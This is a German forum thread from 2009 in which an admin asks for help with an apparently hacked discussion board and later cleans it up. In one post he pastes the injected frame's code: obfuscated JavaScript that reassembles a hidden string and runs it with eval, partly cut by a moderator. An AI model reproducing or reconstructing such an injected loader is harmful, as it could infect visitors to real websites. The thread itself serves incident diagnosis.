Seite 1 von 2
HILFE! Wurde mein Forum GEHACKED?
Verfasst: 06.01.2009 22:11
von cesare2008
Habe vor einigen Minuten oben links auf der Hauptseite unseres Forums eine verdächtiges leeres, weisses Frame gefunden. Ich glaube unser Forum wurde gehacked! An den Sourcen wurden seit über 1 Monat nichts geändert. Ich glaube jemand hat unser Forum irgendwie mit diesem Frame infiziert!!!
Werft einen Blick drauf:
http://forum.naturheilpraxis-gehrig.ch/
Ich brauche DRINGED Hilfe. Wie kann ich mir da sicher sein? Was soll ich tun? Hat mir jemand einen Ratschlag?
Bin dankbar für jede Hilfe.
Besten Dank.
Cesare
Re: HILFE! Wurde mein Forum GEHACKED?
Verfasst: 06.01.2009 22:14
von chris1278
hast du zuvor vieleicht versucht ein mod zu installieren. weil sieht mir danach aus das da was schief gegangen ist.
ist das bei dem style subsilver2 auch so oder nur bei prosilver?
Re: HILFE! Wurde mein Forum GEHACKED?
Verfasst: 06.01.2009 22:17
von cesare2008
nein NICHTS. es wurde in den letzten 2 Wochen nichts verändert. überhaupt nichts...
Re: HILFE! Wurde mein Forum GEHACKED?
Verfasst: 06.01.2009 22:19
von chris1278
wie sieht das aus ist das bei anderen styles auch so oder forenansichten usw.
hi ich hab mich mal bei dir im forum registriert. geh doch mal grad bei dir im adminbereich unter styles und installiere den style subsilver2. weil wenn das mit dem style funktioniert können wir das problem eingrenzen.
Re: HILFE! Wurde mein Forum GEHACKED?
Verfasst: 06.01.2009 22:21
von cesare2008
ist nur die hauptseite betroffen. schau mal:
http://forum.naturheilpraxis-gehrig.ch/
der code dieses frames sieht mir sehr verdächtig aus...:
<html><body><div style="display:none;" id="yem0YW6XBDX4iI">Um'+'6BZAMCbkr4_G1eG'+'QIDJuLeVG1'+'BlQIg0G@Bd8feGk2yaX'+'a4'+'OFIPtx'+'6eUO2yb'+'p6ilmaCG'+'mfyUUb'+'4OT'+'I'+'y9daP'+'3'+'kIPQALnE5MC3EIeGALnEWby8AMCJmbyU'+'Qb'+'ydd'+'Yc'+'7'+'XzeVG'+'1Bl'+'QbcJqa'+'R</div><script>function HzrUlu(haWcAPybE6GwLI){return String["f"+"rom"+"Ch"+"ar"+"Code"](haWcAPybE6GwLI);}</script><script>function rB7II(xfGYR9F7KNBAO3)
[Teile des Codes entfernt - Dr.Death]
ah++){iEfNdatLQo7=iEfNdatLQo7.replace("'+'","");}eval(rB7II(iEfNdatLQo7));</script></body></html>
Re: HILFE! Wurde mein Forum GEHACKED?
Verfasst: 06.01.2009 22:27
von chris1278
hab schon gesehen. was ich aber wissen wollte damit ob das an den grund dateien liegt odewr an den style dateien. deswegen geh mal bitte bei deinem forum hin im admin bereich und installiere mal den subsilver2 style zum vergleich
Re: HILFE! Wurde mein Forum GEHACKED?
Verfasst: 06.01.2009 22:28
von Bones van Helghast
Achtung!!! Dies ist ein Virus bzw ein autostart download! mein Norton hat es gerade bestätigt! Screenshots liegen bei
http://wkhost.webkicks.de/firstchat/son ... arnung.png
http://wkhost.webkicks.de/firstchat/son ... rnung2.png
Re: HILFE! Wurde mein Forum GEHACKED?
Verfasst: 06.01.2009 22:30
von chris1278
ja das löst aber immer noch nicht das problem wo genau der defniert ist. also wenn du das mal mit dem subsilver machen könntest könnte ich das vieleicht eingrenzen.
EDIT:na gut wenns meine hilfe net willst dann must halt zusehen wie du klar kommst.
Re: HILFE! Wurde mein Forum GEHACKED?
Verfasst: 07.01.2009 00:01
von cesare2008
sorry chris. war voll mit bekämpfen dieser schweinerei beschäftigt. das infiltriete iframe ist jetzt aus der index.php entfernt worden. alle passwörter geändert. rootkit und antivirus detection auf allen potentiell infizierten computer durchgeführt.
puuh. jetzt sollte alles wieder sauber sein.
DANKE für euere hilfe und hinweise.
gruss cesare
Re: HILFE! Wurde mein Forum GEHACKED?
Verfasst: 07.01.2009 00:02
von chris1278
wars denn jetzt wenigstens der code den du oberhalb gepostet hast.
